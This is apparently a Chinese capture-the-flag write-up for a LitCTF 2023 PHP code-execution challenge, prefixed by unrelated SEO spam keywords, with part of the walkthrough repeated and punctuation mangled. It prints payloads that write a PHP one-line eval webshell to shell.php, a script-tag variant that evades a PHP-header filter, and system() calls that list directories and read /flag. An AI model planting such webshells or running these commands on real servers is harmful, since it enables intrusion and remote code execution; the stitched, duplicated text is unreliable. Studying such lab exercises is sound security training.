优质的菏泽网站建设,做网站的整体风格确定方式,深圳公司形象墙制作,桂林象鼻山景区介绍[LitCTF 2023]PHP是世界上最好的语言#xff01;#xff01; wp
进入页面#xff0c;发现左边有输入框#xff0c;下面有 RUN CODE 字样#xff0c;估计是可以执行命令的。
执行 PHP 代码测试
?php print(1); ?将 PHP 一句话木马写入文件
为了蚁剑能连上 wp
进入页面发现左边有输入框下面有 RUN CODE 字样估计是可以执行命令的。
执行 PHP 代码测试
?php print(1); ?将 PHP 一句话木马写入文件
为了蚁剑能连上直接执行木马是不行的要将木马写入文件中。
fopen() 函数
语法
fopen(filename,mode,include_path,context)参数描述filename必需。规定要打开的文件或 URL。mode必需。规定您请求到该文件/流的访问类型。可能的值 “r” 只读方式打开将文件指针指向文件头 “r” 读写方式打开将文件指针指向文件头 “w” 写入方式打开清除文件内容如果文件不存在则尝试创建之 “w” 读写方式打开清除文件内容如果文件不存在则尝试创建之 “a” 写入方式打开将文件指针指向文件末尾进行写入如果文件不存在则尝试创建之 “a” 读写方式打开通过将文件指针指向文件末尾进行写入来保存文件内容 “x” 创建一个新的文件并以写入方式打开如果文件已存在则返回 FALSE 和一个错误 “x” 创建一个新的文件并以读写方式打开如果文件已存在则返回 FALSE 和一个错误include_path可选。如果您还想在 include_path在 php.ini 中中搜索文件的话请设置该参数为 ‘1’。context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
fopen(shell.php,w)该语句的意思为以写入方式打开一个叫做“ shell.php ”,的文件该文件不存在故创建了一个shell.php文件。
fputs() 函数
fputs() 函数将内容写入一个打开的文件中。
语法
fputs(file,string,length)参数描述file必需。规定要写入的打开文件。string必需。规定要写入打开文件的字符串。length可选。规定要写入的最大字节数。
payload
?php fputs(fopen(shell.php,w),?php eval($_POST[cmd]);? ) ?没有结果返回去访问一下是否成功写入http://node5.anna.nssctf.cn:28606/shell.php 页面内容为 显然是 php 头被过滤了那么就换一种 payload
?php fputs(fopen(shell2.php,w),script languagephpeval($_POST[shell]);/script) ?成功写入并且在 shell2.php 页面没有任何内容当我高兴地用蚁剑去连的时候发现连不上返回数据为空 后来我又尝试写 shell 然后 kali 开 nc 监听还是连不上。既然如此那就不连了反正前面不是已经可以执行代码了嘛。
直接命令执行
根据提示Flag 位于根目录但是当我执行下面的命令去找的时候始终没有返回
?php system(cat /Flag); ?后来我通过查看根目录下的文件发现 flag 文件确实在根目录但是名字不叫 Flag 而是叫 flag 。呵一个小 trick 。
?php system(ls); ??php system(ls ../../../); ?被我发现了。
?php system(cat /flag); ?